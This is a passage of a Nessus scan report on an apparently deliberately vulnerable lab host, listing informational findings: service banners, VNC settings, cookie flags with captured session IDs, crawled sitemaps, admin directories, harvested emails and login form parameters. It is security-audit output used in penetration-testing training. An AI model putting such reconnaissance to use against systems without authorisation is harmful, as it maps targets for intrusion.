11154 - Unknown Service Detection: Banner Retrieval

Synopsis

There is an unknown service running on the remote host.

Description

Nessus was unable to identify a service on the remote host even though it returned a banner of some type.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/18, Modified: 2022/07/26

Plugin Output

tcp/512

```
If you know what this service is and think the banner could be used to
identify it, please send a description of the service along with the
following output to svc-signatures@nessus.org :

  Port    : 512
  Type    : spontaneous
  Banner :
0x00:  01 57 68 65 72 65 20 61 72 65 20 79 6F 75 3F 0A    .Where are you?.
          0x10:
```

11154 - Unknown Service Detection: Banner Retrieval

Synopsis

There is an unknown service running on the remote host.

Description

Nessus was unable to identify a service on the remote host even though it returned a banner of some type.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/18, Modified: 2022/07/26

Plugin Output

tcp/514

```
If you know what this service is and think the banner could be used to
identify it, please send a description of the service along with the
following output to svc-signatures@nessus.org :

  Port   : 514
  Type   : spontaneous
  Banner :
0x00:  01 67 65 74 6E 61 6D 65 69 6E 66 6F 3A 20 54 65    .getnameinfo: Te
          0x10:  6D 70 6F 72 61 72 79 20 66 61 69 6C 75 72 65 20    mporary failure
          0x20:  69 6E 20 6E 61 6D 65 20 72 65 73 6F 6C 75 74 69    in name resoluti
          0x30:  6F 6E 0A                                           on.
```

11154 - Unknown Service Detection: Banner Retrieval

Synopsis

There is an unknown service running on the remote host.

Description

Nessus was unable to identify a service on the remote host even though it returned a banner of some type.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/18, Modified: 2022/07/26

Plugin Output

tcp/8787

```
If you know what this service is and think the banner could be used to
identify it, please send a description of the service along with the
following output to svc-signatures@nessus.org :

  Port    : 8787
  Type    : get_http
  Banner :
0x0000:  00 00 00 03 04 08 46 00 00 03 A1 04 08 6F 3A 16    ......F......o:.
          0x0010:  44 52 62 3A 3A 44 52 62 43 6F 6E 6E 45 72 72 6F    DRb::DRbConnErro
          0x0020:  72 07 3A 07 62 74 5B 17 22 2F 2F 75 73 72 2F 6C    r.:.bt[."//usr/l
          0x0030:  69 62 2F 72 75 62 79 2F 31 2E 38 2F 64 72 62 2F    ib/ruby/1.8/drb/
          0x0040:  64 72 62 2E 72 62 3A 35 37 33 3A 69 6E 20 60 6C    drb.rb:573:in `l
          0x0050:  6F 61 64 27 22 37 2F 75 73 72 2F 6C 69 62 2F 72    oad'"7/usr/lib/r
          0x0060:  75 62 79 2F 31 2E 38 2F 64 72 62 2F 64 72 62 2E    uby/1.8/drb/drb.
          0x0070:  72 62 3A 36 31 32 3A 69 6E 20 60 72 65 63 76 5F    rb:612:in `recv_
          0x0080:  72 65 71 75 65 73 74 27 22 37 2F 75 73 72 2F 6C    request'"7/usr/l
          0x0090:  69 62 2F 72 75 62 79 2F 31 2E 38 2F 64 72 62 2F    ib/ruby/1.8/drb/
          0x00A0:  64 72 62 2E 72 62 3A 39 31 31 3A 69 6E 20 60 72    drb.rb:911:in `r
          0x00B0:  65 63 76 5F 72 65 71 75 65 73 74 27 22 3C 2F 75    ecv_request'"</u
          0x00C0:  73 72 2F 6C 69 62 2F 72 75 62 79 2F 31 2E 38 2F    sr/lib/ruby/1.8/
          0x00D0:  64 72 62 2F 64 72 62 2E 72 62 3A 31 35 33 30 3A    drb/drb.rb:1530:
          0x00E0:  69 6E 20 60 69 6E 69 74 5F 77 69 74 68 5F 63 6C    in `init_with_cl
          0x00F0:  69 65 6E 74 27 22 39 2F 75 73 72 2F 6C 69 62 2F    ient'"9/usr/lib/
          0x0100:  72 75 62 79 2F 31 2E 38 2F 64 72 62 2F 64 72 62    ruby/1.8/drb/drb
          0x0110:  2E 72 62 3A 31 35 34 32 3A 69 6E 20 60 73 65 74    .rb:1542:in `set
          0x0120:  75 70 5F 6D 65 73 73 61 67 65 27 22 33 2F 75 73    up_message'"3/us
          0x0130:  72 2F 6C 69 62 2F 72 75 62 79 2F 31 2E 38 2F 64    r/lib/ruby/1.8/d
          0x0140:  72 62 2F 64 72 62 2E 72 62 3A 31 34 39 34  [...]
```

19288 - VNC Server Security Type Detection

Synopsis

A VNC server is running on the remote host.

Description

This script checks the remote VNC server protocol version and the available 'security types'.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/07/22, Modified: 2021/07/13

Plugin Output

tcp/5900/vnc

```
\nThe remote VNC server chose security type #2 (VNC authentication)
```

65792 - VNC Server Unencrypted Communication Detection

Synopsis

A VNC server with one or more unencrypted 'security-types' is running on the remote host.

Description

This script checks the remote VNC server protocol version and the available 'security types' to determine if any unencrypted 'security-types' are in use or available.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/04/03, Modified: 2014/03/12

Plugin Output

tcp/5900/vnc

```
The remote VNC server supports the following security type
which does not perform full data communication encryption :

  2 (VNC authentication)
```

10342 - VNC Software Detection

Synopsis

The remote host is running a remote display software (VNC).

Description

The remote host is running VNC (Virtual Network Computing), which uses the RFB (Remote Framebuffer) protocol to provide remote access to graphical user interfaces and thus permits a console on the remote host to be displayed on another.

See Also

https://en.wikipedia.org/wiki/Vnc

Solution

Make sure use of this software is done in accordance with your organization's security policy and filter incoming traffic to this port.

Risk Factor

None

Plugin Information

Published: 2000/03/07, Modified: 2017/06/12

Plugin Output

tcp/5900/vnc

```
The highest RFB protocol version supported by the server is :

  3.3
```

135860 - WMI Not Available

Synopsis

WMI queries could not be made against the remote host.

Description

WMI (Windows Management Instrumentation) is not available on the remote host over DCOM. WMI queries are used to gather information about the remote host, such as its current state, network interface configuration, etc.

Without this information Nessus may not be able to identify installed software or security vunerabilities that exist on the remote host.

See Also

https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2020/04/21, Modified: 2025/01/15

Plugin Output

tcp/445/cifs

```
Can't connect to the 'root\CIMV2' WMI namespace.
```

72771 - Web Accessible Backups

Synopsis

The remote web server hosts web-accessible backups or archives.

Description

The remote web server is hosting web-accessible archive files that may contain backups or sensitive data.

Solution

Review each of the files and ensure they are in compliance with your security policy.

Risk Factor

None

Plugin Information

Published: 2014/03/03, Modified: 2022/04/11

Plugin Output

tcp/8180/www

```
Nessus was able to identify the following archive file on the
remote web server :

ZIP Archive :
   http://Epic-Metasploitable.epicode:8180/tomcat-docs/appdev/sample/sample.war
```

100669 - Web Application Cookies Are Expired

Synopsis

HTTP cookies have an 'Expires' attribute that is set with a past date or time.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, Nessus has detected that one or more of the cookies have an 'Expires' attribute that is set with a past date or time, meaning that these cookies will be removed by the browser.

See Also

https://tools.ietf.org/html/rfc6265

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If needed, set an expiration date in the future so the cookie will persist or remove the Expires cookie attribute altogether to convert the cookie to a session cookie.

Risk Factor

None

Plugin Information

Published: 2017/06/07, Modified: 2021/12/20

Plugin Output

tcp/80/www

```
The following cookies are expired :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Mon, 05-Feb-2024 16:10:29 GMT
Comment :
Secure : 0
Httponly : 0
Port :


Name : pma_collation_connection
Path : /phpMyAdmin/
Value : deleted
```

```
Domain :
Version : 1
Expires : Mon, 05-Feb-2024 16:12:14 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_theme
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Mon, 05-Feb-2024 16:10:24 GMT
Comment :
Secure : 0
Httponly : 0
Port :
```

100669 - Web Application Cookies Are Expired

Synopsis

HTTP cookies have an 'Expires' attribute that is set with a past date or time.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, Nessus has detected that one or more of the cookies have an 'Expires' attribute that is set with a past date or time, meaning that these cookies will be removed by the browser.

See Also

https://tools.ietf.org/html/rfc6265

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If needed, set an expiration date in the future so the cookie will persist or remove the Expires cookie attribute altogether to convert the cookie to a session cookie.

Risk Factor

None

Plugin Information

Published: 2017/06/07, Modified: 2021/12/20

Plugin Output

tcp/8180/www

```
The following cookies are expired :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Mon, 05-Feb-2024 16:10:29 GMT
Comment :
Secure : 0
Httponly : 0
Port :


Name : pma_collation_connection
Path : /phpMyAdmin/
Value : deleted
```

```
Domain :
Version : 1
Expires : Mon, 05-Feb-2024 16:12:14 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_theme
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Mon, 05-Feb-2024 16:10:24 GMT
Comment :
Secure : 0
Httponly : 0
Port :
```

85601 - Web Application Cookies Not Marked HttpOnly

Synopsis

HTTP session cookies might be vulnerable to cross-site scripting attacks.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, one or more of those cookies are not marked 'HttpOnly', meaning that a malicious client-side script, such as JavaScript, could read them. The HttpOnly flag is a security mechanism to protect against cross-site scripting attacks, which was proposed by Microsoft and initially implemented in Internet Explorer. All modern browsers now support it.

Note that this plugin detects all general cookies missing the HttpOnly cookie flag, whereas plugin 48432 (Web Application Session Cookies Not Marked HttpOnly) will only detect session cookies from an authenticated session missing the HttpOnly cookie flag.

See Also

https://www.owasp.org/index.php/HttpOnly

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, add the 'HttpOnly' attribute to all session cookies and any cookies containing sensitive data.

Risk Factor

None

References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801

XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

Plugin Output

tcp/80/www

```
The following cookies do not set the HttpOnly cookie flag :

Name : JSESSIONID
Path : /admin
Value : 764B357DABFB198A229D42CF74EB3179
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : JSESSIONID
Path : /jsp-examples
Value : 70130AF1A2A819DF0B0D01066BD6226C
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : PHPSESSID
Path : /
Value : bf6e9c06a9c79d9aebcf8cdab32642a1
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : JSESSIONID
Path : /servlets-examples
Value : 6888D4C9D75B6BFB24C45DC2E2A6619C
Domain :
Version : 1
Expires :
```

```
Comment :
Secure : 0
Httponly : 0
Port :


Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
```

85601 - Web Application Cookies Not Marked HttpOnly

Synopsis

HTTP session cookies might be vulnerable to cross-site scripting attacks.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, one or more of those cookies are not marked 'HttpOnly', meaning that a malicious client-side script, such as JavaScript, could read them. The HttpOnly flag is a security mechanism to protect against cross-site scripting attacks, which was proposed by Microsoft and initially implemented in Internet Explorer. All modern browsers now support it.

Note that this plugin detects all general cookies missing the HttpOnly cookie flag, whereas plugin 48432 (Web Application Session Cookies Not Marked HttpOnly) will only detect session cookies from an authenticated session missing the HttpOnly cookie flag.

See Also

https://www.owasp.org/index.php/HttpOnly

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, add the 'HttpOnly' attribute to all session cookies and any cookies containing sensitive data.

Risk Factor

None

References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801

XREF	CWE:809
XREF	CWE:811
XREF	CWE:864
XREF	CWE:900
XREF	CWE:928
XREF	CWE:931
XREF	CWE:990

Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

Plugin Output

tcp/8180/www

```
The following cookies do not set the HttpOnly cookie flag :

Name : JSESSIONID
Path : /admin
Value : 764B357DABFB198A229D42CF74EB3179
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : JSESSIONID
Path : /jsp-examples
Value : 70130AF1A2A819DF0B0D01066BD6226C
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : PHPSESSID
Path : /
Value : bf6e9c06a9c79d9aebcf8cdab32642a1
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : JSESSIONID
Path : /servlets-examples
Value : 6888D4C9D75B6BFB24C45DC2E2A6619C
Domain :
Version : 1
Expires :
```

```
Comment :
Secure : 0
Httponly : 0
Port :


Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
```

85602 - Web Application Cookies Not Marked Secure

Synopsis

HTTP session cookies might be transmitted in cleartext.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, there are instances where the application is running over unencrypted HTTP or the cookies are not marked 'secure', meaning the browser could send them back over an unencrypted link under certain circumstances. As a result, it may be possible for a remote attacker to intercept these cookies.

Note that this plugin detects all general cookies missing the 'secure'

cookie flag, whereas plugin 49218 (Web Application Session Cookies Not Marked Secure) will only detect session cookies from an authenticated session missing the secure cookie flag.

See Also

https://www.owasp.org/index.php/SecureFlag

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, ensure all communication occurs over an encrypted channel and add the 'secure' attribute to all session cookies or any cookies containing sensitive data.

Risk Factor

None

References

XREF	CWE:522
XREF	CWE:718
XREF	CWE:724
XREF	CWE:928
XREF	CWE:930

Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

Plugin Output

tcp/80/www

```
The following cookies do not set the secure cookie flag :

Name : JSESSIONID
Path : /admin
Value : 764B357DABFB198A229D42CF74EB3179
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : pma_theme
Path : /phpMyAdmin/
Value : original
Domain :
Version : 1
Expires : Thu, 06-Mar-2025 15:48:26 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_fontsize
Path : /phpMyAdmin/
Value : 82%25
Domain :
Version : 1
Expires : Thu, 06-Mar-2025 15:48:26 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : JSESSIONID
Path : /jsp-examples
Value : 70130AF1A2A819DF0B0D01066BD6226C
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : PHPSESSID
Path : /
Value : bf6e9c06a9c79d9aebcf8cdab32642a1
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : phpMyAdmin
Path : /phpMyAdmin/
Value : c622e27009c97961c08fb1de433200627bd24580
Domain :
Version : 1
Expires :
```

```
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_lang
Path : /phpMyAdmin/
Value : en-utf-8
Domain :
Version : 1
Expires : Thu, 06-Mar-2025 15:48:26 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_charset
Path : /phpMyAdmin/
Value : utf-8
Domain :
Version : 1
Expires : Thu, 06-Mar-2025 15:48:26 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : JSESSIONID
Path : /servlets-examples
Value : 6888D4C9D75B6BFB24C45DC2E2A6619C
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
```

85602 - Web Application Cookies Not Marked Secure

Synopsis

HTTP session cookies might be transmitted in cleartext.

Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, there are instances where the application is running over unencrypted HTTP or the cookies are not marked 'secure', meaning the browser could send them back over an unencrypted link under certain circumstances. As a result, it may be possible for a remote attacker to intercept these cookies.

Note that this plugin detects all general cookies missing the 'secure'

cookie flag, whereas plugin 49218 (Web Application Session Cookies Not Marked Secure) will only detect session cookies from an authenticated session missing the secure cookie flag.

See Also

https://www.owasp.org/index.php/SecureFlag

Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, ensure all communication occurs over an encrypted channel and add the 'secure' attribute to all session cookies or any cookies containing sensitive data.

Risk Factor

None

References

XREF	CWE:522
XREF	CWE:718
XREF	CWE:724
XREF	CWE:928
XREF	CWE:930

Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

Plugin Output

tcp/8180/www

```
The following cookies do not set the secure cookie flag :

Name : JSESSIONID
Path : /admin
Value : 764B357DABFB198A229D42CF74EB3179
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : pma_theme
Path : /phpMyAdmin/
Value : original
Domain :
Version : 1
Expires : Thu, 06-Mar-2025 15:48:26 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_fontsize
Path : /phpMyAdmin/
Value : 82%25
Domain :
Version : 1
Expires : Thu, 06-Mar-2025 15:48:26 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : JSESSIONID
Path : /jsp-examples
Value : 70130AF1A2A819DF0B0D01066BD6226C
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : PHPSESSID
Path : /
Value : bf6e9c06a9c79d9aebcf8cdab32642a1
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : phpMyAdmin
Path : /phpMyAdmin/
Value : c622e27009c97961c08fb1de433200627bd24580
Domain :
Version : 1
Expires :
```

```
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_lang
Path : /phpMyAdmin/
Value : en-utf-8
Domain :
Version : 1
Expires : Thu, 06-Mar-2025 15:48:26 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_charset
Path : /phpMyAdmin/
Value : utf-8
Domain :
Version : 1
Expires : Thu, 06-Mar-2025 15:48:26 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : JSESSIONID
Path : /servlets-examples
Value : 6888D4C9D75B6BFB24C45DC2E2A6619C
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
```

40773 - Web Application Potentially Sensitive CGI Parameter Detection

Synopsis

An application was found that may use CGI parameters to control sensitive information.

Description

According to their names, some CGI parameters may control sensitive data (e.g., ID, privileges, commands, prices, credit card data, etc.). In the course of using an application, these variables may disclose sensitive data or be prone to tampering that could result in privilege escalation. These parameters should be examined to determine what type of data is controlled and if it poses a security risk.

** This plugin only reports information that may be useful for auditors

** or pen-testers, not a real flaw.

Solution

Ensure sensitive data is not disclosed by CGI parameters. In addition, do not use CGI parameters to control access to resources or privileges.

Risk Factor

None

Plugin Information

Published: 2009/08/25, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Potentially sensitive parameters for CGI /dvwa/login.php :

password : Possibly a clear or hashed password, vulnerable to sniffing or dictionary attack
```

91815 - Web Application Sitemap

Synopsis

The remote web server hosts linkable content that can be crawled by Nessus.

Description

The remote web server contains linkable content that can be used to gather information about a target.

See Also

http://www.nessus.org/u?5496c8d9

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2016/06/24, Modified: 2016/06/24

Plugin Output

tcp/80/www

```
The following sitemap was created from crawling linkable content on the target host :

  - http://Epic-Metasploitable.epicode/
  - http://Epic-Metasploitable.epicode/dav/
  - http://Epic-Metasploitable.epicode/dav/CJUlxuON.htm/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/css/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/css/help.css
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/css/login.css
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/css/main.css
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/css/source.css
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/images/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/images/RandomStorm.png
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/images/dollar.png
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/images/lock.png
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/images/login_logo.png
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/images/logo.png
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/images/spanner.png
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/images/warning.png
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/DBMS/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/DBMS/DBMS.php
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/DBMS/MySQL.php
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/dvwaPage.inc.php
```

```
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/dvwaPhpIds.inc.php
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/js/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/js/dvwaPage.js
  - http://Epic-Metasploitable.epicode/dvwa/login.php
  - http://Epic-Metasploitable.epicode/mutillidae/
  - http://Epic-Metasploitable.epicode/mutillidae/documentation/
  - http://Epic-Metasploitable.epicode/mutillidae/documentation/Mutillidae-Test-Scripts.txt
  - http://Epic-Metasploitable.epicode/mutillidae/documentation/how-to-access-Mutillidae-over-
Virtual-Box-network.php
  - http://Epic [...]
```

91815 - Web Application Sitemap

Synopsis

The remote web server hosts linkable content that can be crawled by Nessus.

Description

The remote web server contains linkable content that can be used to gather information about a target.

See Also

http://www.nessus.org/u?5496c8d9

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2016/06/24, Modified: 2016/06/24

Plugin Output

tcp/8180/www

```
The following sitemap was created from crawling linkable content on the target host :

  - http://Epic-Metasploitable.epicode:8180/
  - http://Epic-Metasploitable.epicode:8180/RELEASE-NOTES.txt
  - http://Epic-Metasploitable.epicode:8180/admin/
  - http://Epic-Metasploitable.epicode:8180/admin/error.jsp
  - http://Epic-Metasploitable.epicode:8180/admin/j_security_check
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/Entries.java.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/Entry.java.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/TableBean.java.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/cal1.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/cal1.jsp.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/cal2.jsp.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/calendar.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/login.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/CheckTest.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/check.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/checkresult.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/checkresult.jsp.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/cresult.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/ColorGameBean.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/clr.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/colors.html
```

```
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/colrs.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/colrs.jsp.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/dates/date.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/dates/date.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/dates/date.jsp.html
  [...]
```

20108 - Web Server / Application favicon.ico Vendor Fingerprinting

Synopsis

The remote web server contains a graphic image that is prone to information disclosure.

Description

The 'favicon.ico' file found on the remote web server belongs to a popular web server. This may be used to fingerprint the web server.

Solution

Remove the 'favicon.ico' file or create a custom one for your site.

Risk Factor

None

Plugin Information

Published: 2005/10/28, Modified: 2020/06/12

Plugin Output

tcp/8180/www

```
MD5 fingerprint : 4644f2d45601037b8423d45e13194c93
Web server      : Apache Tomcat or Alfresco Community
```

11032 - Web Server Directory Enumeration

Synopsis

It is possible to enumerate directories on the web server.

Description

This plugin attempts to determine the presence of various common directories on the remote web server. By sending a request for a directory, the web server response code indicates if it is a valid directory or not.

See Also

http://projects.webappsec.org/w/page/13246953/Predictable%20Resource%20Location

Solution

n/a

Risk Factor

None

References

XREF OWASP:OWASP-CM-006

Plugin Information

Published: 2002/06/26, Modified: 2024/06/07

Plugin Output

tcp/80/www

```
The following directories were discovered:
/cgi-bin, /doc, /test, /icons, /phpMyAdmin, /twiki/bin

While this is not, in and of itself, a bug, you should manually inspect
these directories to ensure that they are in compliance with company
security standards
```

11032 - Web Server Directory Enumeration

Synopsis

It is possible to enumerate directories on the web server.

Description

This plugin attempts to determine the presence of various common directories on the remote web server. By sending a request for a directory, the web server response code indicates if it is a valid directory or not.

See Also

http://projects.webappsec.org/w/page/13246953/Predictable%20Resource%20Location

Solution

n/a

Risk Factor

None

References

XREF OWASP:OWASP-CM-006

Plugin Information

Published: 2002/06/26, Modified: 2024/06/07

Plugin Output

tcp/8180/www

```
The following directories were discovered:
/admin, /jsp-examples, /servlets-examples

While this is not, in and of itself, a bug, you should manually inspect
these directories to ensure that they are in compliance with company
security standards

The following directories require authentication:
/host-manager/html, /manager/html
```

49705 - Web Server Harvested Email Addresses

Synopsis

Email addresses were harvested from the web server.

Description

Nessus harvested HREF mailto: links and extracted email addresses by crawling the remote web server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/10/04, Modified: 2018/05/24

Plugin Output

tcp/80/www

```
The following email address has been gathered :

- 'SomeWikiName@somewhere.test', referenced from :
   /twiki/TWikiHistory.html
```

49705 - Web Server Harvested Email Addresses

Synopsis

Email addresses were harvested from the web server.

Description

Nessus harvested HREF mailto: links and extracted email addresses by crawling the remote web server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/10/04, Modified: 2018/05/24

Plugin Output

tcp/8180/www

```
The following email addresses have been gathered :


- 'craigmcc@apache.org', referenced from :
   /tomcat-docs/appdev/printer/index.html
   /tomcat-docs/appdev/index.html
   /tomcat-docs/appdev/
   /tomcat-docs/appdev/printer/

- 'yoavs@apache.org', referenced from :
   /tomcat-docs/architecture/printer/
   /tomcat-docs/architecture/index.html
   /tomcat-docs/architecture/printer/index.html
   /tomcat-docs/architecture/

- 'users@tomcat.apache.org', referenced from :
   /

- 'jfarcand@apache.org', referenced from :
   /tomcat-docs/architecture/
   /tomcat-docs/architecture/printer/index.html
   /tomcat-docs/architecture/printer/
   /tomcat-docs/architecture/index.html

- 'fhanik@apache.org', referenced from :
   /tomcat-docs/architecture/printer/index.html
   /tomcat-docs/architecture/
   /tomcat-docs/architecture/printer/
   /tomcat-docs/architecture/index.html
```

```
 - 'dev@tomcat.apache.org', referenced from :
    /
```

11419 - Web Server Office File Inventory

Synopsis

The remote web server hosts office-related files.

Description

This plugin connects to the remote web server and attempts to find office-related files such as .doc, .ppt, .xls, .pdf etc.

Solution

Make sure that such files do not contain any confidential or otherwise sensitive information and that they are only accessible to those with valid credentials.

Risk Factor

None

Plugin Information

Published: 2003/03/19, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
The following office-related files are available on the remote server :

  - Adobe Acrobat files (.pdf) :
    /mutillidae/documentation/mutillidae-installation-on-xampp-win7.pdf
```

11419 - Web Server Office File Inventory

Synopsis

The remote web server hosts office-related files.

Description

This plugin connects to the remote web server and attempts to find office-related files such as .doc, .ppt, .xls, .pdf etc.

Solution

Make sure that such files do not contain any confidential or otherwise sensitive information and that they are only accessible to those with valid credentials.

Risk Factor

None

Plugin Information

Published: 2003/03/19, Modified: 2022/04/11

Plugin Output

tcp/8180/www

```
The following office-related files are available on the remote server :

  - Adobe Acrobat files (.pdf) :
    /tomcat-docs/architecture/requestProcess/requestProcess.pdf
    /tomcat-docs/architecture/startup/serverStartup.pdf
```

11422 - Web Server Unconfigured - Default Install Page Present

Synopsis

The remote web server is not configured or is improperly configured.

Description

The remote web server uses its default welcome page. Therefore, it's probable that this server is not used at all or is serving content that is meant to be hidden.

Solution

Disable this service if you do not use it.

Risk Factor

None

Plugin Information

Published: 2003/03/20, Modified: 2018/08/15

Plugin Output

tcp/8180/www

```
The default welcome page is from Tomcat.
```

10662 - Web mirroring

Synopsis

Nessus can crawl the remote website.

Description

This plugin makes a mirror of the remote website(s) and extracts the list of CGIs that are used by the remote host.

It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2001/05/04, Modified: 2025/01/13

Plugin Output

tcp/80/www

```
Webmirror performed 102 queries in 6s (17.000 queries per second)

The following CGIs have been discovered :


+ CGI : /phpMyAdmin/phpmyadmin.css.php
  Methods : GET
  Argument : js_frame
   Value: right
  Argument : nocache
   Value: 2457687233
  Argument : token
   Value: ebf4c2feed2044bd86bc3d4f45fe4616


+ CGI : /phpMyAdmin/index.php
  Methods : POST
  Argument : db
  Argument : lang
  Argument : pma_password
  Argument : pma_username
  Argument : server
   Value: 1
